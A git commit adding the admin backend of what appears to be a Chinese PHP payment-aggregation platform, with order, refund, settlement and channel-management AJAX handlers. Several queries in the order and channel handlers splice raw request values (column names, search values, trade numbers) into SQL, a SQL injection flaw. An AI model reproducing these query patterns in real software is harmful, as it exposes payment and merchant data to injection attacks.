commit 09a14bf0a3ba6069bdb4c2ce5086255aa65b3be1 Author: 李志强 <357099073@qq.com> Date: Fri Nov 28 10:08:12 2025 +0800 first commit diff --git a/.htaccess b/.htaccess new file mode 100644 index 0000000..3ead6a6 --- /dev/null +++ b/.htaccess @@ -0,0 +1,11 @@ + + Options +FollowSymlinks + RewriteEngine On + + RewriteCond %{REQUEST_FILENAME} !-d + RewriteCond %{REQUEST_FILENAME} !-f + RewriteRule ^(.[a-zA-Z0-9\-\_]+).html$ index.php?mod=$1 [QSA,PT,L] + RewriteRule ^pay/(.*)$ pay.php?s=$1 [QSA,PT,L] + RewriteRule ^api/(.*)$ api.php?s=$1 [QSA,PT,L] + RewriteRule ^doc/(.[a-zA-Z0-9\-\_]+).html$ index.php?doc=$1 [QSA,PT,L] + \ No newline at end of file diff --git a/IIS.txt b/IIS.txt new file mode 100644 index 0000000..d240f0e --- /dev/null +++ b/IIS.txt @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/admin/ajax.php b/admin/ajax.php new file mode 100644 index 0000000..dc4692f --- /dev/null +++ b/admin/ajax.php @@ -0,0 +1,198 @@ +window.location.href='./login.php';"); +$act=isset($_GET['act'])?daddslashes($_GET['act']):null; + +if(!checkRefererHost())exit('{"code":403}'); + +@header('Content-Type: application/json; charset=UTF-8'); + +switch($act){ +case 'getcount': + $thtime=date("Y-m-d").' 00:00:00'; + $count1=$DB->getColumn("SELECT count(*) from pre_order"); + $count2=$DB->getColumn("SELECT count(*) from pre_user"); + $plugincount=$DB->getColumn("SELECT count(*) from pre_plugin"); + if($plugincount<1){ + \lib\Plugin::updateAll(); + } + $isConvert = $DB->getRow("SELECT * FROM pre_channel WHERE status=1 AND config IS NULL LIMIT 1"); + if($isConvert){ + convert_channel_data(); + \lib\Plugin::updateAll(); + } + + $orderrow=$DB->getRow("SELECT COUNT(*) allnum,COUNT(IF(status>0, 1, NULL)) sucnum FROM pre_order WHERE addtime>='$thtime'"); + $success_rate = 100; + if($orderrow){ + if($orderrow['allnum'] > 0){ + $success_rate = round($orderrow['sucnum']/$orderrow['allnum']*100,2); + } + } + + $paytype = []; + $rs = $DB->getAll("SELECT id,name,showname FROM pre_type WHERE status=1"); + foreach($rs as $row){ + $paytype[$row['id']] = $row['showname']; + } + unset($rs); + + $channel = []; + $rs = $DB->getAll("SELECT id,name FROM pre_channel WHERE status=1"); + foreach($rs as $row){ + $channel[$row['id']] = $row['name']; + } + unset($rs); + + $tongji_cachetime=getSetting('tongji_cachetime', true); + $tongji_cache = $CACHE->read('tongji'); + if($tongji_cachetime+3600>=time() && $tongji_cache && !isset($_GET['getnew'])){ + $array = unserialize($tongji_cache); + $result=["code"=>0,"type"=>"cache","paytype"=>$paytype,"channel"=>$channel,"count1"=>$count1,"count2"=>$count2,"usermoney"=>round($array['usermoney'],2),"settlemoney"=>round($array['settlemoney'],2),"success_rate"=>$success_rate,"order_today"=>$array['order_today'],"order"=>[]]; + }else{ + $usermoney=$DB->getColumn("SELECT SUM(money) FROM pre_user WHERE money!='0.00'"); + $settlemoney=$DB->getColumn("SELECT SUM(money) FROM pre_settle"); + + $today=date("Y-m-d"); + $rs=$DB->query("SELECT type,channel,realmoney,profitmoney from pre_order where status=1 and date>='$today'"); + foreach($paytype as $id=>$type){ + $order_paytype[$id]=0; + $profit_paytype[$id]=0; + } + foreach($channel as $id=>$type){ + $order_channel[$id]=0; + } + while($row = $rs->fetch()) + { + $order_paytype[$row['type']]+=$row['realmoney']; + $order_channel[$row['channel']]+=$row['realmoney']; + if(!empty($row['profitmoney'])){ + $profit_paytype[$row['type']]+=$row['profitmoney']; + } + } + foreach($order_paytype as $k=>$v){ + $order_paytype[$k] = round($v,2); + } + foreach($order_channel as $k=>$v){ + $order_channel[$k] = round($v,2); + } + foreach($profit_paytype as $k=>$v){ + $profit_paytype[$k] = round($v,2); + } + $allmoney=0; + foreach($order_paytype as $order){ + $allmoney+=$order; + } + $allprofit=0; + foreach($profit_paytype as $money){ + $allprofit+=$money; + } + + $order_today['all']=round($allmoney,2); + $order_today['profit_all']=round($allprofit,2); + $order_today['paytype']=$order_paytype; + $order_today['channel']=$order_channel; + $order_today['profit_paytype']=$profit_paytype; + + saveSetting('tongji_cachetime',time()); + $CACHE->save('tongji',serialize(["usermoney"=>$usermoney,"settlemoney"=>$settlemoney,"order_today"=>$order_today])); + + $result=["code"=>0,"type"=>"online","paytype"=>$paytype,"channel"=>$channel,"count1"=>$count1,"count2"=>$count2,"usermoney"=>round($usermoney,2),"settlemoney"=>round($settlemoney,2),"success_rate"=>$success_rate,"order_today"=>$order_today,"order"=>[]]; + } + for($i=1;$i<7;$i++){ + $day = date("Ymd", strtotime("-{$i} day")); + if($order_tongji = $CACHE->read('order_'.$day)){ + $result["order"][$day] = unserialize($order_tongji); + }else{ + break; + } + } + exit(json_encode($result)); +break; + +case 'set': + if(isset($_POST['localurl'])){ + if(!empty($_POST['localurl']) && (substr($_POST['localurl'],0,4)!='http' || substr($_POST['localurl'],-1)!='/'))exit('{"code":-1,"msg":"回调专用网址格式错误"}'); + } + if(isset($_POST['apiurl'])){ + if(!empty($_POST['apiurl']) && (substr($_POST['apiurl'],0,4)!='http' || substr($_POST['apiurl'],-1)!='/'))exit('{"code":-1,"msg":"用户对接网址格式错误"}'); + } + if(isset($_POST['login_apiurl'])){ + if(!empty($_POST['login_apiurl']) && (substr($_POST['login_apiurl'],0,4)!='http' || substr($_POST['login_apiurl'],-1)!='/'))exit('{"code":-1,"msg":"聚合登录API接口地址格式错误"}'); + } + foreach($_POST as $k=>$v){ + saveSetting($k, $v); + } + $ad=$CACHE->clear(); + if($ad)exit('{"code":0,"msg":"succ"}'); + else exit('{"code":-1,"msg":"修改设置失败['.$DB->error().']"}'); +break; +case 'setGonggao': + $id=intval($_GET['id']); + $status=intval($_GET['status']); + $sql = "UPDATE pre_anounce SET status='$status' WHERE id='$id'"; + if($DB->exec($sql))exit('{"code":0,"msg":"修改状态成功!"}'); + else exit('{"code":-1,"msg":"修改状态失败['.$DB->error().']"}'); +break; +case 'delGonggao': + $id=intval($_GET['id']); + $sql = "DELETE FROM pre_anounce WHERE id='$id'"; + if($DB->exec($sql))exit('{"code":0,"msg":"删除公告成功!"}'); + else exit('{"code":-1,"msg":"删除公告失败['.$DB->error().']"}'); +break; +case 'iptype': + $result = [ + ['name'=>'0_X_FORWARDED_FOR', 'ip'=>real_ip(0), 'city'=>get_ip_city(real_ip(0))], + ['name'=>'1_X_REAL_IP', 'ip'=>real_ip(1), 'city'=>get_ip_city(real_ip(1))], + ['name'=>'2_REMOTE_ADDR', 'ip'=>real_ip(2), 'city'=>get_ip_city(real_ip(2))] + ]; + exit(json_encode($result)); +break; + +case 'setArticle': //文章状态 + $id=intval($_GET['id']); + $active=intval($_GET['active']); + $DB->exec("update pre_article set active='$active' where id='{$id}'"); + exit('{"code":0,"msg":"succ"}'); +break; +case 'article_upload': + $file_name = $_FILES['imgFile']['name']; + $tmp_name = $_FILES['imgFile']['tmp_name']; + //获得文件扩展名 + $temp_arr = explode(".", $file_name); + $file_ext = array_pop($temp_arr); + $file_ext = strtolower(trim($file_ext)); + if (in_array($file_ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'webp')) === false) { + exit('{"error":1,"message":"上传文件扩展名是不允许的扩展名。"}'); + } + $filename = md5_file($tmp_name).'.'.$file_ext; + $fileurl = '/assets/img/article/'.$filename; + if(copy($tmp_name, ROOT.'assets/img/article/'.$filename)){ + exit('{"error":0,"url":"'.$fileurl.'"}'); + }else{ + exit('{"error":1,"message":"上传失败,请确保有本地写入权限"}'); + } +break; + +case 'testproxy': + $conf['proxy_server'] = trim($_POST['proxy_server']); + $conf['proxy_port'] = $_POST['proxy_port']; + $conf['proxy_user'] = trim($_POST['proxy_user']); + $conf['proxy_pwd'] = trim($_POST['proxy_pwd']); + $conf['proxy_type'] = $_POST['proxy_type']; + try{ + check_proxy('https://dl.amh.sh/ip.htm'); + }catch(Exception $e){ + try{ + check_proxy('https://myip.ipip.net/'); + }catch(Exception $e){ + exit('{"code":-1,"msg":"'.$e->getMessage().'"}'); + } + } + exit('{"code":0}'); +break; + +default: + exit('{"code":-4,"msg":"No Act"}'); +break; +} \ No newline at end of file diff --git a/admin/ajax_order.php b/admin/ajax_order.php new file mode 100644 index 0000000..1b12621 --- /dev/null +++ b/admin/ajax_order.php @@ -0,0 +1,379 @@ +window.location.href='./login.php';"); +$act=isset($_GET['act'])?daddslashes($_GET['act']):null; + +if(!checkRefererHost())exit('{"code":403}'); + +@header('Content-Type: application/json; charset=UTF-8'); + +switch($act){ +case 'orderList': + $paytype = []; + $paytypes = []; + $rs = $DB->getAll("SELECT * FROM pre_type"); + foreach($rs as $row){ + $paytype[$row['id']] = $row['showname']; + $paytypes[$row['id']] = $row['name']; + } + unset($rs); + + $sql=" 1=1"; + if(isset($_POST['uid']) && !empty($_POST['uid'])) { + $uid = intval($_POST['uid']); + $sql.=" AND A.`uid`='$uid'"; + } + if(isset($_POST['type']) && !empty($_POST['type'])) { + $type = intval($_POST['type']); + $sql.=" AND A.`type`='$type'"; + }elseif(isset($_POST['channel']) && !empty($_POST['channel'])) { + $channel = intval($_POST['channel']); + $sql.=" AND A.`channel`='$channel'"; + }elseif(isset($_POST['subchannel']) && !empty($_POST['subchannel'])) { + $subchannel = trim($_POST['subchannel']); + $subchannel = explode('|', $subchannel); + $subchannel = array_map('intval', $subchannel); + $sql.=" AND A.`subchannel` IN (".implode(",", $subchannel).")"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND A.status={$dstatus}"; + } + if(!empty($_POST['starttime']) || !empty($_POST['endtime'])){ + if(!empty($_POST['starttime'])){ + $starttime = daddslashes($_POST['starttime']); + $sql.=" AND A.addtime>='{$starttime} 00:00:00'"; + } + if(!empty($_POST['endtime'])){ + $endtime = daddslashes($_POST['endtime']); + $sql.=" AND A.addtime<='{$endtime} 23:59:59'"; + } + } + if(isset($_POST['value']) && !empty($_POST['value'])) { + if($_POST['column']=='name'){ + $sql.=" AND A.`{$_POST['column']}` like '%{$_POST['value']}%'"; + }else{ + if(($_POST['column'] == 'money' || $_POST['column'] == 'realmoney' || $_POST['column'] == 'getmoney') && strpos($_POST['value'],'-')){ + $money = explode('-', $_POST['value']); + $sql.=" AND A.`{$_POST['column']}`>='{$money[0]}' AND A.`{$_POST['column']}`<='{$money[1]}'"; + }else{ + $sql.=" AND A.`{$_POST['column']}`='{$_POST['value']}'"; + } + } + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_order A WHERE{$sql}"); + $list = $DB->getAll("SELECT A.*,B.plugin FROM pre_order A LEFT JOIN pre_channel B ON A.channel=B.id WHERE{$sql} order by trade_no desc limit $offset,$limit"); + $list2 = []; + foreach($list as $row){ + $row['typename'] = $paytypes[$row['type']]; + $row['typeshowname'] = $paytype[$row['type']]; + $list2[] = $row; + } + + exit(json_encode(['total'=>$total, 'rows'=>$list2])); +break; + +case 'statistics': + $sql=" 1=1"; + if(isset($_POST['uid']) && !empty($_POST['uid'])) { + $uid = intval($_POST['uid']); + $sql.=" AND A.`uid`='$uid'"; + } + if(isset($_POST['type']) && !empty($_POST['type'])) { + $type = intval($_POST['type']); + $sql.=" AND A.`type`='$type'"; + }elseif(isset($_POST['channel']) && !empty($_POST['channel'])) { + $channel = intval($_POST['channel']); + $sql.=" AND A.`channel`='$channel'"; + }elseif(isset($_POST['subchannel']) && !empty($_POST['subchannel'])) { + $subchannel = intval($_POST['subchannel']); + $sql.=" AND A.`subchannel`='$subchannel'"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND A.status={$dstatus}"; + } + if(!empty($_POST['starttime']) || !empty($_POST['endtime'])){ + if(!empty($_POST['starttime'])){ + $starttime = daddslashes($_POST['starttime']); + $sql.=" AND A.addtime>='{$starttime} 00:00:00'"; + } + if(!empty($_POST['endtime'])){ + $endtime = daddslashes($_POST['endtime']); + $sql.=" AND A.addtime<='{$endtime} 23:59:59'"; + } + } + if(isset($_POST['value']) && !empty($_POST['value'])) { + if($_POST['column']=='name'){ + $sql.=" AND A.`{$_POST['column']}` like '%{$_POST['value']}%'"; + }else{ + if(($_POST['column'] == 'money' || $_POST['column'] == 'realmoney' || $_POST['column'] == 'getmoney') && strpos($_POST['value'],'-')){ + $money = explode('-', $_POST['value']); + $sql.=" AND A.`{$_POST['column']}`>='{$money[0]}' AND A.`{$_POST['column']}`<='{$money[1]}'"; + }else{ + $sql.=" AND A.`{$_POST['column']}`='{$_POST['value']}'"; + } + } + } + // 统计数据 + $resultMoneyData = $DB->getRow("SELECT + SUM(money) AS totalMoney, + SUM(CASE WHEN A.status = 1 THEN money ELSE 0 END) AS successMoney, + SUM(CASE WHEN A.status = 0 THEN money ELSE 0 END) AS unpaidMoney, + SUM(CASE WHEN A.status = 2 THEN refundmoney ELSE 0 END) AS refundMoney + FROM pre_order A LEFT JOIN pre_channel B ON A.channel=B.id WHERE {$sql} order by trade_no desc"); + + $resultCount = $DB->getRow("SELECT + COUNT(*) AS totalCount, + SUM(CASE WHEN A.status = 1 THEN 1 ELSE 0 END) AS successCount, + SUM(CASE WHEN A.status = 0 THEN 1 ELSE 0 END) AS unpaidCount, + SUM(CASE WHEN A.status = 2 THEN 1 ELSE 0 END) AS refundCount + FROM pre_order A LEFT JOIN pre_channel B ON A.channel=B.id WHERE {$sql} order by trade_no desc"); + + // 获取平台总收入利润 + $platformProfit = $DB->getColumn("SELECT SUM(A.profitmoney) FROM pre_order A LEFT JOIN pre_channel B ON A.channel=B.id WHERE {$sql} AND status = 1 order by trade_no desc"); + + $result = [ + 'totalMoney' => number_format($resultMoneyData['totalMoney'], 2, '.', '') ?? 0.00, + 'successMoney' => number_format($resultMoneyData['successMoney'], 2, '.', '') ?? 0.00, + 'unpaidMoney' => number_format($resultMoneyData['unpaidMoney'], 2, '.', '') ?? 0.00, + 'refundMoney' => number_format($resultMoneyData['refundMoney'], 2, '.', '') ?? 0.00, + 'totalCount' => $resultCount['totalCount'] ?? '0', + 'successCount' => $resultCount['successCount'] ?? '0', + 'unpaidCount' => $resultCount['unpaidCount'] ?? '0', + 'refundCount' => $resultCount['refundCount'] ?? '0', + 'platformProfit' => number_format($platformProfit, 2, '.', '') ?? 0.00 + ]; + $result['successRate'] = $result['totalCount'] > 0 ? round(($result['totalCount']-$result['unpaidCount']) / $result['totalCount'] * 100, 2) : 0; + exit(json_encode(['code'=>0, 'data'=>$result])); +break; + +case 'riskList': + $sql=" 1=1"; + if(isset($_POST['value']) && !empty($_POST['value'])) { + $sql.=" AND `{$_POST['column']}`='{$_POST['value']}'"; + } + if(isset($_POST['type']) && $_POST['type']>-1) { + $type = intval($_POST['type']); + $sql.=" AND `type`={$type}"; + } + $offset = intval($_POST['offset']); + $limit = intval($_POST['limit']); + $total = $DB->getColumn("SELECT count(*) from pre_risk WHERE{$sql}"); + $list = $DB->getAll("SELECT * FROM pre_risk WHERE{$sql} order by id desc limit $offset,$limit"); + + exit(json_encode(['total'=>$total, 'rows'=>$list])); +break; + +case 'setStatus': //改变订单状态 + $trade_no=trim($_GET['trade_no']); + $status=is_numeric($_GET['status'])?intval($_GET['status']):exit('{"code":200}'); + if($status==5){ + if($DB->exec("DELETE FROM pre_order WHERE trade_no='$trade_no'")) + exit('{"code":200}'); + else + exit('{"code":400,"msg":"删除订单失败!['.$DB->error().']"}'); + }else{ + if($DB->exec("update pre_order set status='$status' where trade_no='$trade_no'")!==false) + exit('{"code":200}'); + else + exit('{"code":400,"msg":"修改订单失败!['.$DB->error().']"}'); + } +break; +case 'order': //订单详情 + $trade_no=trim($_GET['trade_no']); + $row=$DB->getRow("select A.*,B.showname typename,C.name channelname from pre_order A,pre_type B,pre_channel C where trade_no='$trade_no' and A.type=B.id and A.channel=C.id limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前订单不存在或未成功选择支付通道!"}'); + $row['subchannelname'] = $row['subchannel'] > 0 ? $DB->findColumn('subchannel', 'name', ['id'=>$row['subchannel']]) : ''; + if($row['status']==2){ + $row['refundtime'] = $DB->findColumn('refundorder', 'addtime', ['trade_no'=>$trade_no], 'refund_no DESC'); + } + $result=array("code"=>0,"msg"=>"succ","data"=>$row); + exit(json_encode($result)); +break; +case 'subOrders': + $trade_no=trim($_GET['trade_no']); + $list = \lib\Payment::getSubOrders($trade_no); + exit(json_encode(['code'=>0, 'data'=>$list, 'settle'=>$DB->findColumn('order', 'settle', ['trade_no'=>$trade_no])])); +break; +case 'operation': //批量操作订单 + $status=is_numeric($_POST['status'])?intval($_POST['status']):exit('{"code":-1,"msg":"请选择操作"}'); + $checkbox=$_POST['checkbox']; + $i=0; + foreach($checkbox as $trade_no){ + if($status==4)$DB->exec("DELETE FROM pre_order WHERE trade_no='$trade_no'"); + elseif($status==3){ + \lib\Order::unfreeze($trade_no); + } + elseif($status==2){ + \lib\Order::freeze($trade_no); + } + else $DB->exec("update pre_order set status='$status' where trade_no='$trade_no' limit 1"); + $i++; + } + exit('{"code":0,"msg":"成功改变'.$i.'条订单状态"}'); +break; +case 'getmoney': //退款查询 + if(!$conf['admin_paypwd'])exit('{"code":-1,"msg":"你还未设置支付密码"}'); + $trade_no=trim($_POST['trade_no']); + $api=isset($_POST['api'])?intval($_POST['api']):0; + $result = \lib\Order::refund_info($trade_no, $api); + exit(json_encode($result)); +break; +case 'refund': //退款操作 + $trade_no=trim($_POST['trade_no']); + $money = trim($_POST['money']); + if(!is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))exit('{"code":-1,"msg":"金额输入错误"}'); + + $refund_no = date("YmdHis").rand(11111,99999); + $result = \lib\Order::refund($refund_no, $trade_no, $money); + if($result['code'] == 0){ + $result['msg'] = '已成功从UID:'.$result['uid'].'扣除'.$result['reducemoney'].'元余额'; + } + exit(json_encode($result)); +break; +case 'apirefund': //API退款操作 + $trade_no=trim($_POST['trade_no']); + $paypwd=trim($_POST['paypwd']); + $money = trim($_POST['money']); + if(!is_numeric($money) || !preg_match('/^[0-9.]+$/', $money))exit('{"code":-1,"msg":"金额输入错误"}'); + if($paypwd!=$conf['admin_paypwd']) + exit('{"code":-1,"msg":"支付密码输入错误!"}'); + + $refund_no = date("YmdHis").rand(11111,99999); + $result = \lib\Order::refund($refund_no, $trade_no, $money, 1); + if($result['code'] == 0){ + $result['msg'] = '退款成功!退款金额¥'.$result['money']; + if($result['reducemoney']>0){ + $result['msg'] .= ',并成功从UID:'.$result['uid'].'扣除'.$result['reducemoney'].'元余额'; + } + } + exit(json_encode($result)); +break; +case 'freeze': //冻结订单 + $trade_no=trim($_POST['trade_no']); + $result = \lib\Order::freeze($trade_no); + exit(json_encode($result)); +break; +case 'unfreeze': //解冻订单 + $trade_no=trim($_POST['trade_no']); + $result = \lib\Order::unfreeze($trade_no); + exit(json_encode($result)); +break; +case 'notify': //获取回调地址 + $trade_no=trim($_POST['trade_no']); + $row=$DB->getRow("select * from pre_order where trade_no='$trade_no' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前订单不存在!"}'); + $url=creat_callback($row); + if($row['notify']>0) + $DB->exec("update pre_order set notify=0,notifytime=NULL where trade_no='$trade_no'"); + exit('{"code":0,"url":"'.($_POST['isreturn']==1?$url['return']:$url['notify']).'"}'); +break; +case 'fillorder': //手动补单 + $trade_no=trim($_POST['trade_no']); + $row=$DB->getRow("SELECT A.*,B.name typename,B.showname typeshowname FROM pre_order A left join pre_type B on A.type=B.id WHERE trade_no=:trade_no limit 1", [':trade_no'=>$trade_no]); + if(!$row) + exit('{"code":-1,"msg":"当前订单不存在!"}'); + if($row['status']>0)exit('{"code":-1,"msg":"当前订单不是未完成状态!"}'); + if($DB->exec("update `pre_order` set `status` ='1' where `trade_no`='$trade_no'")){ + $DB->exec("update `pre_order` set `endtime` ='$date',`date` =NOW() where `trade_no`='$trade_no'"); + $channel=\lib\Channel::get($row['channel']); + processOrder($row); + } + exit('{"code":0,"msg":"补单成功"}'); +break; +case 'alipaydSettle': //支付宝直付通确认结算 + $trade_no=trim($_POST['trade_no']); + $row=$DB->getRow("select * from pre_order where trade_no='$trade_no' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前订单不存在!"}'); + if($row['status']==0)exit('{"code":-1,"msg":"当前订单状态是未支付"}'); + $channel = $row['subchannel'] > 0 ? \lib\Channel::getSub($row['subchannel']) : \lib\Channel::get($row['channel'], $DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']])); + if(!$channel){ + exit('{"code":-1,"msg":"当前支付通道信息不存在"}'); + } + try{ + if($channel['plugin'] == 'alipayd'){ + \lib\Payment::alipaydSettle($channel, $row); + }elseif($channel['plugin'] == 'wxpaynp'){ + \lib\Payment::wxpaynpSettle($channel, $row); + }else{ + exit('{"code":-1,"msg":"支付插件不支持该操作"}'); + } + $DB->exec("update `pre_order` set `settle`=2 where `trade_no`='$trade_no'"); + exit('{"code":0,"msg":"结算成功!"}'); + }catch(Exception $e){ + $DB->exec("update `pre_order` set `settle`=3 where `trade_no`='$trade_no'"); + exit('{"code":-1,"msg":"结算失败,'.$e->getMessage().'"}'); + } +break; +case 'alipayPreAuthPay': //支付宝授权资金支付 + $trade_no=trim($_POST['trade_no']); + $order=$DB->getRow("select * from pre_order where trade_no='$trade_no' limit 1"); + if(!$order) + exit('{"code":-1,"msg":"当前订单不存在!"}'); + $channel = $order['subchannel'] > 0 ? \lib\Channel::getSub($order['subchannel']) : \lib\Channel::get($order['channel'], $DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']])); + if(!$channel){ + exit('{"code":-1,"msg":"当前支付通道信息不存在"}'); + } + try{ + $result = \lib\Payment::alipayPreAuthPay($channel, $order); + + $api_trade_no = $result['trade_no']; + $buyer_id = $result['buyer_user_id']; + $total_amount = $result['total_amount']; + processNotify($order, $api_trade_no, $buyer_id); + + exit('{"code":0,"msg":"授权资金支付成功!"}'); + }catch(Exception $e){ + $errmsg = $e->getMessage(); + exit('{"code":-1,"msg":"授权资金支付失败,'.$errmsg.'"}'); + } +break; +case 'alipayUnfreeze': //支付宝授权资金解冻 + $trade_no=trim($_POST['trade_no']); + $order=$DB->getRow("select * from pre_order where trade_no='$trade_no' limit 1"); + if(!$order) + exit('{"code":-1,"msg":"当前订单不存在!"}'); + $channel = $order['subchannel'] > 0 ? \lib\Channel::getSub($order['subchannel']) : \lib\Channel::get($order['channel'], $DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']])); + if(!$channel){ + exit('{"code":-1,"msg":"当前支付通道信息不存在"}'); + } + try{ + \lib\Payment::alipayUnfreeze($channel, $order); + $DB->exec("update `pre_order` set `status`=0 where `trade_no`='$trade_no'"); + exit('{"code":0,"msg":"授权资金解冻成功!"}'); + }catch(Exception $e){ + $errmsg = $e->getMessage(); + exit('{"code":-1,"msg":"授权资金解冻失败,'.$errmsg.'"}'); + } +break; +case 'alipayRedPacketTansfer': //支付宝红包转账重试 + $trade_no=trim($_POST['trade_no']); + $order=$DB->getRow("select * from pre_order where trade_no='$trade_no' limit 1"); + if(!$order) + exit('{"code":-1,"msg":"当前订单不存在!"}'); + $channel = $order['subchannel'] > 0 ? \lib\Channel::getSub($order['subchannel']) : \lib\Channel::get($order['channel'], $DB->findColumn('user', 'channelinfo', ['uid'=>$row['uid']])); + if(!$channel){ + exit('{"code":-1,"msg":"当前支付通道信息不存在"}'); + } + if(!empty($channel['appmchid'])) $payee_user_id = $channel['appmchid']; + else $payee_user_id = $DB->findColumn('user', 'alipay_uid', ['uid'=>$order['uid']]); + if(!$payee_user_id) exit('{"code":-1,"msg":"当前商户未绑定支付宝账号"}'); + try{ + \lib\Payment::alipayRedPacketTransfer($channel, $payee_user_id, $order['money'], $order['api_trade_no']); + $DB->exec("update `pre_order` set `settle`=2 where `trade_no`='$trade_no'"); + exit('{"code":0,"msg":"红包打款成功!"}'); + }catch(Exception $e){ + $errmsg = $e->getMessage(); + exit('{"code":-1,"msg":"红包打款失败,'.$errmsg.'"}'); + } +break; +default: + exit('{"code":-4,"msg":"No Act"}'); +break; +} \ No newline at end of file diff --git a/admin/ajax_pay.php b/admin/ajax_pay.php new file mode 100644 index 0000000..546efcd --- /dev/null +++ b/admin/ajax_pay.php @@ -0,0 +1,720 @@ +window.location.href='./login.php';"); +$act=isset($_GET['act'])?daddslashes($_GET['act']):null; + +if(!checkRefererHost())exit('{"code":403}'); + +@header('Content-Type: application/json; charset=UTF-8'); + +switch($act){ +case 'channelList': + $sql=" 1=1"; + if(isset($_POST['id']) && !empty($_POST['id'])) { + $id = intval($_POST['id']); + $sql.=" AND A.`id`='$id'"; + } + if(isset($_POST['type']) && !empty($_POST['type'])) { + $type = intval($_POST['type']); + $sql.=" AND A.`type`='$type'"; + } + if(isset($_POST['plugin']) && !empty($_POST['plugin'])) { + $plugin = trim($_POST['plugin']); + $sql.=" AND A.`plugin`='$plugin'"; + } + if(isset($_POST['dstatus']) && $_POST['dstatus']>-1) { + $dstatus = intval($_POST['dstatus']); + $sql.=" AND A.`status`={$dstatus}"; + } + if(isset($_POST['kw']) && !empty($_POST['kw'])) { + $kw = trim(daddslashes($_POST['kw'])); + $sql.=" AND (A.`id`='{$kw}' OR A.`name` like '%{$kw}%')"; + } + $list = $DB->getAll("SELECT A.*,B.name typename,B.showname typeshowname FROM pre_channel A LEFT JOIN pre_type B ON A.type=B.id WHERE{$sql} ORDER BY id DESC"); + exit(json_encode($list)); +break; + +case 'getPayType': + $id=intval($_GET['id']); + $row=$DB->getRow("select * from pre_type where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前支付方式不存在!"}'); + $result = ['code'=>0,'msg'=>'succ','data'=>$row]; + exit(json_encode($result)); +break; +case 'setPayType': + $id=intval($_GET['id']); + $status=intval($_GET['status']); + $row=$DB->getRow("select * from pre_type where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前支付方式不存在!"}'); + $sql = "UPDATE pre_type SET status='$status' WHERE id='$id'"; + if($DB->exec($sql))exit('{"code":0,"msg":"修改支付方式成功!"}'); + else exit('{"code":-1,"msg":"修改支付方式失败['.$DB->error().']"}'); +break; +case 'delPayType': + $id=intval($_GET['id']); + $row=$DB->getRow("select * from pre_type where id='$id' limit 1"); + if(!$row) + exit('{"code":-1,"msg":"当前支付方式不存在!"}'); + $row=$DB->getRow("select * from pre_channel where type='$id' limit 1"); + if($row) + exit('{"code":-1,"msg":"删除失败,存在使用该支付方式的支付通道"}'); + $sql = "DELETE FROM pre_type WHERE id='$id'"; + if($DB->exec($sql))exit('{"code":0,"msg":"删除支付方式成功!"}'); + else exit('{"code":-1,"msg":"删除支付方式失败['.$DB->error().']"}'); +break; +case 'savePayType': + if($_POST['action'] == 'add'){ + $name=trim($_POST['name']); + $showname=trim($_POST['showname']); + $device=intval($_POST['device']); + if(!preg_match('/^[a-zA-Z0-9]+$/',$name)){ + exit('{"code":-1,"msg":"调用值不符合规则"}'); + } + $row=$DB->getRow("select * from pre_type where name='$name' and device='$device' limit 1"); + if($row) + exit('{"code":-1,"msg":"同一个调用值+支持设备不能重复"}'); + $data = ['name'=>$name, 'showname'=>$showname, 'device'=>$device, 'status'=>1]; + if($DB->insert('type', $data))exit('{"code":0,"msg":"新增支付方式成功!"}'); + else exit('{"code":-1,"msg":"新增支付方式失败['.$DB->error().']"}'); + }else{ + $id=intval($_POST['id']); + $name=trim($_POST['name']); + $showname=trim($_POST['showname']); + $device=intval($_POST['device']); + if(!preg_match('/^[a-zA-Z0-9]+$/',$name)){ + exit('{"code":-1,"msg":"调用值不符合规则"}'); + } + $row=$DB->getRow("select * from pre_type where name='$name' and device='$device' and id<>$id limit 1"); + if($row) + exit('{"code":-1,"msg":"同一个调用值+支持设备不能重复"}'); + $data = ['name'=>$name, 'showname'=>$showname, 'device'=>$device]; + if($DB->update('type', $data, ['id'=>$id])!==false)exit('{"code":0,"msg":"修改支付方式成功!"}'); + else exit('{"code":-1,"msg":"修改支付方式失败['.$DB->error().']"}'); + } +break; +case 'getPlugin': + $name = trim($_GET['name']); + $row=$DB->getRow("SELECT * FROM pre_plugin WHERE name='$name'"); + if($row){ + $result = ['code'=>0,'msg'=>'succ','data'=>$row]; + exit(json_encode($result)); + } + else exit('{"code":-1,"msg":"当前支付插件不存在!"}'); +break; +case 'getPlugins': + $typeid = intval($_GET['typeid']); + $type=$DB->getColumn("SELECT name FROM pre_type WHERE id='$typeid'"); + if(!$type) + exit('{"code":-1,"msg":"当前支付方式不存在!"}'); + $list=$DB->getAll("SELECT name,showname FROM pre_plugin WHERE types LIKE '%$type%' ORDER BY name ASC"); + if($list){ + $result = ['code'=>0,'msg'=>'succ','data'=>$list]; + exit(json_encode($result)); + } + else exit('{"code":-1,"msg":"没有找到支持该支付方式的插件"}'); +break; +case 'getChannel': + $id=intval($_GET['id']); + $row=$DB->getRow("SELECT * FROM pre_channel WHERE id='$id'"); + if(!$row) + exit('{"code":-1,"msg":"当前支付通道不存在!"}'); + $result = ['code'=>0,'msg'=>'succ','data'=>$row]; + exit(json_encode($result)); +break; +case 'getChannels': + $typeid = intval($_GET['typeid']); + $type=$DB->getColumn("SELECT name FROM pre_type WHERE id='$typeid'"); + if(!$type) + exit('{"code":-1,"msg":"当前支付方式不存在!"}'); + $list=$DB->getAll("SELECT id,name FROM pre_channel WHERE type='$typeid' and status=1 ORDER BY id ASC"); + if($list){ + $result = ['code'=>0,'msg'=>'succ','data'=>$list]; + exit(json_encode($result)); 